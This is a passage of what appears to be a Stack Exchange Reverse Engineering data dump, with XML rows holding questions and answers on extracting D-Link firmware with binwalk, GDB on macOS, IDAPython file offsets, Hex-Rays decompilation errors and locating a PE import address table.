33554432 bytes, uncompressed size: 8294 bytes&#xA;384148      0x5DC94     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 10412 bytes&#xA;385299      0x5E113     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16812 bytes&#xA;389806      0x5F2AE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9294 bytes&#xA;391417      0x5F8F9     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9108 bytes&#xA;392764      0x5FE3C     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4796 bytes&#xA;393633      0x601A1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3710 bytes&#xA;394440      0x604C8     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 7870 bytes&#xA;395948      0x60AAC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 10764 bytes&#xA;398896      0x61630     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6804 bytes&#xA;400960      0x61E40     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2135 bytes&#xA;401785      0x62179     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2864 bytes&#xA;402878      0x625BE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3747 bytes&#xA;404192      0x62AE0     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2776 bytes&#xA;405196      0x62ECC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6761 bytes&#xA;407148      0x6366C     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1582 bytes&#xA;407859      0x63933     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6849 bytes&#xA;409864      0x64108     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4678 bytes&#xA;411440      0x64730     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11297 bytes&#xA;414011      0x6513B     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3990 bytes&#xA;415534      0x6572E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12540 bytes&#xA;418894      0x6644E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3623 bytes&#xA;420239      0x6698F     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 13366 bytes&#xA;423782      0x67766     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5498 bytes&#xA;425717      0x67EF5     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1524 bytes&#xA;426450      0x681D2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 28728 bytes&#xA;434580      0x6A194     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 18125 bytes&#xA;439538      0x6B4F2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 36719 bytes&#xA;445116      0x6CABC     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1940 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checking the hexdump code I found that binwalk detects the lzma magic number '5d 00' but I think that this is inconsistent and a false positive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~/Desktop/Firmwares/DLink# cat hexdump.txt | grep '5d 00'&#xA;00000030  5d 00 00 00 02 f0 23 0f  00 00 00 00 00 00 20 20  |].....#.......  |&#xA;0000c7b0  f9 5d 00 0e e6 e7 55 ca  16 5f d1 c9 67 67 30 c7  |.]....U.._..gg0.|&#xA;00049900  ac 00 5d 00 00 00 02 c9  1d 00 00 00 00 00 00 00  |..].............|&#xA;0004a2c0  6e 93 3d d1 e8 e3 96 5a  f9 17 38 b1 28 5d 00 00  |n.=....Z..8.(]..|&#xA;0004bb30  25 14 f9 96 26 85 58 20  18 07 b9 fa e3 5d 00 00  |%...&amp;amp;.X .....]..|&#xA;0004c360  9f f6 e9 d8 28 5d 00 00  00 02 19 19 00 00 00 00  |....(]..........|&#xA;0004cbe0  f6 20 5d 00 00 00 02 36  18 00 00 00 00 00 00 00  |. ]....6........|&#xA;0004d470  3f 38 df 6f 97 98 4b 41  0d 83 14 d8 4d 00 5d 00  |?8.o..KA....M.].|&#xA;0004e000  78 c4 bc c4 11 98 56 00  5d 00 00 00 02 c3 26 00  |x.....V.].....&amp;amp;.|&#xA;0004eb30  e6 73 64 e2 bc fa 37 7a  11 0d 3c b1 d2 af 5d 00  |.sd...7z..&amp;lt;...].|&#xA;0004f080  57 ad 80 5f 20 ef 40 0e  7c 5d 00 00 00 02 f5 04  |W.._ .@.|]......|&#xA;0004f280  1a 1c ab 00 5d 00 00 00  02 39 26 00 00 00 00 00  |....]....9&amp;amp;.....|&#xA;0004fd70  5d 00 00 00 02 f5 25 00  00 00 00 00 00 00 1e 12  |].....%.........|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this I browsed the hexdump and found some strings in 00000000 and 00042fa0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  41 49 48 30 4c 0f c1 fb  80 00 01 00 00 04 2f 74  |AIH0L........./t|&#xA;00042fa0  6e 23 00 00 41 49 48 30  4c 0f c1 fb 00 00 00 00  |n#..AIH0L.......|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Googling for AIH0L I did not find anything useful and now I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things I tried was to search bin img sqsh sq sh and other strings in the hexdump without result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the entropy analysis seems weird for me. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/rSKlo.png&quot; alt=&quot;Entropy output binwalk&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anyone faced this issues or can figure out how to extract this?&#xA;Regards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Searching for filesystems 'fs' in the hexdump file I found a zfs header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;t@kali:~/Desktop/Firmwares/DLink# cat hexdump.txt | grep zfs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000b990  65 a7 0c aa 7a 66 73 24  1e bc b6 e8 d7 c4 29 1a  |e...zfs$......).|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure wether this points to a real zfs or it's just a coincidence. I copied the firmware from that position to the end but the new file is not recognized and the binwalk lecture is the same as above.&lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="2197" LastEditDate="2013-09-24T09:15:27.073" LastActivityDate="2013-09-24T17:17:59.473" Title="Reversing DLink DIR100 firmware" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2831" PostTypeId="2" ParentId="2830" CreationDate="2013-09-24T17:17:59.473" Score="9" Body="&lt;p&gt;The LZMA compression identified by binwalk is correct (or at least most of them are - I didn't check them all). If you actually extract and decompress the LZMA files, you'll find that the first one (at offset 0x30) contains the device's code (a MIPS RTOS of some sort) and the rest appear to be the HTML files for the web interface.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-09-24T17:17:59.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2832" PostTypeId="1" AcceptedAnswerId="2834" CreationDate="2013-09-24T21:19:16.853" Score="3" ViewCount="1054" Body="&lt;p&gt;Currently I have a binary that I am investigating.  The application is GUI / event driven, so that makes it difficult to set a break point.  I would like to set a break point on a certain button click, so I thought I would click the button, and then run a &lt;code&gt;backtrace&lt;/code&gt; in GDB to see what functions were called when I clicked the button, but the output of the &lt;code&gt;bt&lt;/code&gt; is just showing &lt;code&gt;mach_msg_trap()&lt;/code&gt;, and a few other &quot;functions&quot; I suppose.  Does anyone know why I'm in the &lt;code&gt;mach_msg_trap()&lt;/code&gt;  I am assuming it's some security feature implemented by Apple to prevent people from reversing their software, I just thought I would ask, as my googlefu didn't really return any tangible results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpuXV.png&quot; alt=&quot;Screenshot of the GDB output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="245" LastEditDate="2013-09-25T10:25:44.063" LastActivityDate="2014-08-25T12:04:27.140" Title="Reversing a Mac OS X binary that appears to be non encrypted, backtrace just shows mach_msg_trap ()" Tags="|gdb|osx|mach-o|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2833" PostTypeId="2" ParentId="2433" CreationDate="2013-09-25T07:00:47.907" Score="2" Body="&lt;p&gt;.Net files store their resources in the COM Data Directory substructures. I did several resources that might help you to understand, such as a &lt;a href=&quot;https://corkami.googlecode.com/svn/trunk/src/PE/tinynet.asm&quot; rel=&quot;nofollow&quot;&gt;hand-made&lt;/a&gt; .Net file, and a &lt;a href=&quot;http://pe102.corkami.com&quot; rel=&quot;nofollow&quot;&gt;poster&lt;/a&gt; that covers the basic of Net data structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you should definitely look at your binary in &lt;a href=&quot;http://icerbero.com/peinsider/&quot; rel=&quot;nofollow&quot;&gt;PE insider&lt;/a&gt; (the successor of CFF Explorer, same author), and check the author's extensive documentations on the .NET format.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-09-25T07:00:47.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2834" PostTypeId="2" ParentId="2832" CreationDate="2013-09-25T11:32:37.530" Score="6" Body="&lt;p&gt;Well, my Mac fu isn't too strong, but I have terminal access to a Mac and will give it a wild shot, hoping to provide you with the insight required to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;info sharedlibrary&lt;/code&gt; on the GDB prompt will tell you details about the ranges of the shared libraries inside of which those functions reside. But we know that already from the function names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.apple.com/library/mac/documentation/Cocoa/Reference/ApplicationKit/Classes/NSApplication_Class/Reference/Reference.html&quot;&gt;&lt;code&gt;NSApplication&lt;/code&gt;&lt;/a&gt; comes from: Cocoa.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;NSApplication&lt;/code&gt; object maintains a list of all the &lt;code&gt;NSWindow&lt;/code&gt; objects&#xA;  the application uses, so it can retrieve any of the application’s&#xA;  &lt;code&gt;NSView&lt;/code&gt; objects.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So my suggestion would be to start by starting the application&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb --args /path/to/binary optional arguments for program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then set a breakpoint:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b NSApplicationMain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(can be done inside &lt;code&gt;.gdbinit&lt;/code&gt; obviously)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then let the application continue. Break into it using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;. Most likely the &lt;code&gt;backtrace&lt;/code&gt; will be similar to what you saw before, but probably not up to &lt;code&gt;mach_msg_trap()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you go to one frame that uses a function which has a reference to the &lt;code&gt;NSApplication&lt;/code&gt; instance. You can find the frame numbers with &lt;code&gt;bt&lt;/code&gt;, obviously. So say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there you should be able to use GDB's &lt;code&gt;call&lt;/code&gt;. Now, my Objective-C/C++ fu is even weaker than my Mac fu, but you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set language&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to list the available languages (which influences the syntax for &lt;code&gt;call&lt;/code&gt;). So you should probably switch to one of the Objective-C/C++ alternatives as appropriate. On my Mac I have the following language options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set language&#xA;The currently understood settings are:&#xA;&#xA;local or auto    Automatic setting based on source file&#xA;ada              Use the Ada language&#xA;c                Use the C language&#xA;c++              Use the C++ language&#xA;asm              Use the Asm language&#xA;minimal          Use the Minimal language&#xA;fortran          Use the Fortran language&#xA;objective-c      Use the Objective-c language&#xA;objective-c++    Use the Objective-c++ language&#xA;java             Use the Java language&#xA;modula-2         Use the Modula-2 language&#xA;pascal           Use the Pascal language&#xA;scheme           Use the Scheme language&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;call&lt;/code&gt; lets you call functions inside the context of the running program (and GDB has command line completion for symbols it knows of). So calling &lt;code&gt;mainWindow&lt;/code&gt; of the &lt;code&gt;NSApplication&lt;/code&gt; instance would appear as a good idea and then drilling down from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there you should be able to figure out where your button comes into play and set the breakpoint, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if you know a certain parameter of a certain call in the framework references your button (we'll assume it has a pointer somehow) you can use the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break location if condition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;syntax to make sure the breakpoint will only trigger for the button press. An alternative is the &lt;code&gt;ignore&lt;/code&gt; command which will ignore X hits of a breakpoint and only trigger after that.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-09-25T11:32:37.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2835" PostTypeId="1" AcceptedAnswerId="2837" CreationDate="2013-09-25T13:35:02.847" Score="7" ViewCount="3149" Body="&lt;p&gt;For every selected byte Ida Pro displays the &lt;em&gt;offset in the input file&lt;/em&gt; where the byte can be found (displayed in the buttom bar of the Ida-View and the Hex-View). How can I retrieve this information when using the idapython API?&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2013-09-25T14:35:24.747" Title="How to extract the input file offset of a byte in idapython?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2837" PostTypeId="2" ParentId="2835" CreationDate="2013-09-25T14:35:24.747" Score="8" Body="&lt;p&gt;When looking for functions, you should always check the SDK headers. These two are listed in &lt;code&gt;loader.hpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get offset in the input file which corresponds to the given ea&#xA;// If the specified ea can't be mapped into the input file offset,&#xA;// return -1.    &#xA;idaman int32 ida_export get_fileregion_offset(ea_t ea);    &#xA;&#xA;// Get linear address which corresponds to the specified input file offset.&#xA;// If can't be found, then return BADADDR    &#xA;idaman ea_t ida_export get_fileregion_ea(int32 offset);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can use them from IDAPython like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset = idaapi.get_fileregion_offset(ea)&#xA;ea = idaapi.get_fileregion_ea(offset)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NB: not all SDK functions are exposed in Python. If you absolutely need something which is only available in C API, you can &lt;a href=&quot;http://www.hexblog.com/?p=695&quot;&gt;use &lt;code&gt;ctypes&lt;/code&gt; to call it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-09-25T14:35:24.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2839" PostTypeId="1" CreationDate="2013-09-26T15:43:16.153" Score="-2" ViewCount="181" Body="&lt;p&gt;I know &lt;a href=&quot;http://en.wikipedia.org/wiki/Operating_system&quot; rel=&quot;nofollow&quot;&gt;OSes&lt;/a&gt; like &lt;a href=&quot;http://en.wikipedia.org/wiki/Mac_OS_X&quot; rel=&quot;nofollow&quot;&gt;Mac&amp;nbsp;OS&amp;nbsp;X&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Microsoft_Windows&quot; rel=&quot;nofollow&quot;&gt;Windows&lt;/a&gt; hide their source code from their users, although I've just wondered that would it not be possible to still find a way to alter a Window or Mac&amp;nbsp;OS&amp;nbsp;X through disassembling the computer and then finding the necessary part which has the OS, and working on that part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day, they are just electrical signals, so surely they are decipherable (very hard, but feasible)? Through this would it then be possible to actually change the source code to your own liking?&lt;/p&gt;&#xA;" OwnerUserId="2897" LastEditorUserId="1654" LastEditDate="2013-09-27T18:33:26.440" LastActivityDate="2013-09-27T18:33:26.440" Title="Is it not just simple to view private source code of an OS by disassembling it?" Tags="|hardware|operating-systems|" AnswerCount="2" CommentCount="1" ClosedDate="2013-09-26T17:40:54.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="2840" PostTypeId="1" CreationDate="2013-09-26T16:06:26.567" Score="6" ViewCount="2042" Body="&lt;p&gt;I'm using IDA 6.1 32-bit version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty new to IDA and Hex-rays decompiling. My goal is to generate some C source from a 32-bit PE executable. I know this file is 32-bit PE executable. I've looked at the header struct in a hex editor and confirmed that it has the PE header segment. When I dissassemble the file in IDA Pro, it recognizes that it is an x86 PE executable file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, IDA produces the following output after analyzing the header segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Format      : Portable executable for 80386 (PE)&#xA;; Imagebase   : 400000&#xA;; Section 1. (virtual address 00001000)&#xA;; Virtual size                  : 011DAC9D (18721949.)&#xA;; Section size in file          : 011DB000 (18722816.)&#xA;; Offset to raw data for section: 00001000&#xA;; Flags 60000020: Text Executable Readable&#xA;; Alignment     : default&#xA;; OS type         :  MS Windows&#xA;; Application type:  Executable 32bit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I select a function and attempt &lt;kbd&gt;F5&lt;/kbd&gt; to open the Pseudocode window, I am greeted with the unhelpful message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Decompilation failure: FFFFFFFF: 16bit functions are not supported&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Please refer to the manual to find appropriate actions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, I &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/failures.shtml#10&quot; rel=&quot;nofollow&quot;&gt;referred to the manual&lt;/a&gt;, which is also unhelpful:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The message text says it all. While the decompiler itself can be fine&#xA;  tuned to decompile 16-bit code, this is not a priority for now. May be&#xA;  in the future it will support 16-bit code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The thing is that this isn't 16-bit code. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS If I need to provide more information to help in answering this question, please let me know. I'm very new to IDA/Hex-rays and I'm not sure what else would be useful here.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2898" LastEditorUserId="53" LastEditDate="2013-11-03T14:09:08.087" LastActivityDate="2013-11-03T14:09:08.087" Title="Why does Hex-rays thinks that 32bit PE is 16bit?" Tags="|ida|decompilation|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2841" PostTypeId="2" ParentId="2839" CreationDate="2013-09-26T17:23:28.997" Score="2" Body="&lt;p&gt;Yes it's very possible to understand the workings of systems without access to the source code. One of the problems is that the transformation of source code to the binaries which run on the platform is rarely without information loss. This means that it's usually impossible to reconstruct the source code from the binaries. Also you can't really redistribute your changed OS due to copyright which is what &lt;a href=&quot;https://en.wikipedia.org/wiki/Free_software&quot; rel=&quot;nofollow&quot;&gt;free software&lt;/a&gt; is all about. What is normally done is that people reverse engineer the internals of closed source operating systems and then document how these systems work internally. Someone else then takes this specification and creates a re-implementation of the described system. This is called the &lt;a href=&quot;https://en.wikipedia.org/wiki/Clean-room_reverse_engineering#Reverse_engineering&quot; rel=&quot;nofollow&quot;&gt;Chinese wall&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Clean_room_design&quot; rel=&quot;nofollow&quot;&gt;clean room&lt;/a&gt; implementation. This is done due to copyright issues so that the person who has seen the code doesn't deliberately or accidentally create code with large similarities to the original code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example of this process is &lt;a href=&quot;https://en.wikipedia.org/wiki/ReactOS&quot; rel=&quot;nofollow&quot;&gt;ReactOS&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Wine_(software)&quot; rel=&quot;nofollow&quot;&gt;Wine&lt;/a&gt;. Both projects collaborate quite extensively and aim to create a free compatible implementation of the inner workings of Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some systems are deliberately protected from being modified by use of cryptographic signatures. The iPhone and iOS is one such platform. The way the software is usually protected is by establishing a secure boot chain with a ROM which validates the integrity of the next boot step and each subsequent step then validates the signatures of each following step. This creates a chain of software which can't be changed in ways the manufacturer doesn't intend. It's a common way of fighting piracy on closed platforms. In fact it's a common way of making use of free software while avoiding the problem of having people able to run arbitrary code on their hardware. This is generally referred to as &lt;a href=&quot;https://en.wikipedia.org/wiki/Tivoization&quot; rel=&quot;nofollow&quot;&gt;Tivoization&lt;/a&gt; after the locked down TiVo system which makes extensive use of GPL software yet can't run user created code without bypassing the security mechanisms of the system.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-09-26T17:36:41.210" LastActivityDate="2013-09-26T17:36:41.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2842" PostTypeId="2" ParentId="2839" CreationDate="2013-09-26T17:24:09.483" Score="3" Body="&lt;p&gt;You seem to have a misunderstanding of the relationship between the hardware of a computer and the operating system. I suggest you start reading &lt;a href=&quot;http://en.wikipedia.org/wiki/Operating_system&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Operating_system&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operating system lives on top of the hardware. There's no need to look at any electrical signals to alter OSX or Windows, you can do this on a far higher level from inside the operating system itself.&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2013-09-26T19:30:17.517" LastActivityDate="2013-09-26T19:30:17.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2843" PostTypeId="1" CreationDate="2013-09-26T20:41:09.110" Score="4" ViewCount="1112" Body="&lt;p&gt;I'm trying to get to IAT of a PE file.  My plan is eventually overwrite some values so I can hook some stuff to help with unpacking, etc.  I'm using this post &lt;a href=&quot;https://stackoverflow.com/questions/7673754/pe-format-iat-questions&quot;&gt;https://stackoverflow.com/questions/7673754/pe-format-iat-questions&lt;/a&gt; as a guide.  I'm currently on number 4 and that's where things are getting a little fuzzy for me.  I'm able to get a pointer to an entry within the DataDirectory array.  I chose the 13th entry because from my research &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305%28v=vs.85%29.aspx&lt;/a&gt; it looks like that will lead me to the IAT.  I'm not sure I'm on the right track because this DataDirectory has the value for size = 0 and virtualaddress = 172.  Is the virtualsize of 172 an offset that must be added to some base address?  I'm just working with a simple C program with no debug info that prints, &quot;Hello World&quot;.  Any help is greatly appreciated.  Not sure how much showing the code will help my methodology but I'll post the relevant parts below.  Any help is appreciated.  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pDOSHeader = ctypes.cast(hModule, ctypes.POINTER(IMAGE_DOS_HEADER)).contents&#xA;&#xA;e_lfanew_offset = pDOSHeader.e_lfanew&#xA;&#xA;offset_to_NTHeaders = e_lfanew_offset + hModule&#xA;pNTHeaders = ctypes.cast(offset_to_NTHeaders,ctypes.POINTER(IMAGE_NT_HEADERS)).contents&#xA;&#xA;pImage_NT_Headers = pNTHeaders.OptionalHeader&#xA;pDataDirectory = pImage_NT_Headers.DataDirectory&#xA;pDataDirectory_IAT = pDataDirectory[13]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2743" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-09-27T11:50:00.940" Title="Using Python CTypes to get to the IAT" Tags="|python|iat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2844" PostTypeId="2" ParentId="2843" CreationDate="2013-09-26T21:46:12.640" Score="3" Body="&lt;p&gt;&lt;em&gt;Note: only applicable if reading the PE from disk&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could simplify your code if you used &lt;a href=&quot;https://code.google.com/p/pefile/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;pefile&lt;/code&gt;&lt;/a&gt; rather than Python &lt;code&gt;ctypes&lt;/code&gt;. Here's a quick script for getting the hex address of some API name. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pefile&#xA;&#xA;try:&#xA;        pe = pefile.PE(f)&#xA;    except:&#xA;        print 'could not load file...exiting'&#xA;        return&#xA;ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint&#xA;ep_ava = ep+pe.OPTIONAL_HEADER.ImageBase&#xA;API_addr = None&#xA;for entry in pe.DIRECTORY_ENTRY_IMPORT:&#xA;      for imp in entry.imports:&#xA;          if 'SOME_API' in imp.name:&#xA;               API_addr = hex(imp.address).lower()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have questions about &lt;code&gt;pefile&lt;/code&gt; check out the &lt;a href=&quot;https://code.google.com/p/pefile/wiki/UsageExamples&quot; rel=&quot;nofollow&quot;&gt;usage examples&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="245" LastEditDate="2013-09-27T11:50:00.940" LastActivityDate="2013-09-27T11:50:00.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2845" PostTypeId="2" ParentId="2843" CreationDate="2013-09-26T21:52:04.003" Score="7" Body="&lt;p&gt;Don't rely on the IAT entry in the PE Data Directory to be accurate. The only truly accurate way to find the IAT(s) is to find actual calls from the disassembled code to statically imported API functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's use the following code in IDA as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF 15 44 60 03 01    call    ds:GetVersion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The actual disassembly of &lt;code&gt;FF 15 44 60 03 01&lt;/code&gt; is &lt;code&gt;call dword ptr ds:[1036044h]&lt;/code&gt;, but IDA knows this points to &lt;code&gt;GetVersion()&lt;/code&gt;, so it shows the &quot;pretty&quot; disassembly instead. In this example, the address &lt;code&gt;1036044h&lt;/code&gt; is actually the virtual address of &lt;code&gt;GetVersion()&lt;/code&gt;'s entry in the IAT for kernel32.dll. As such, you can now look &quot;up&quot; and &quot;down&quot; in memory near virtual address &lt;code&gt;1036044h&lt;/code&gt; to find the beginning and end of the IAT for kernel32.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;99% of the time, all IATs will be back-to-back in memory, so you should be able to find all IATs knowing only a single IAT entry address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend the method above instead of relying on content in the PE Import Tables since relying on the PE Import Tables will fail if the disassembled code had been packed, whereas the method above will work on packed and non-packed samples.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-09-26T21:52:04.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
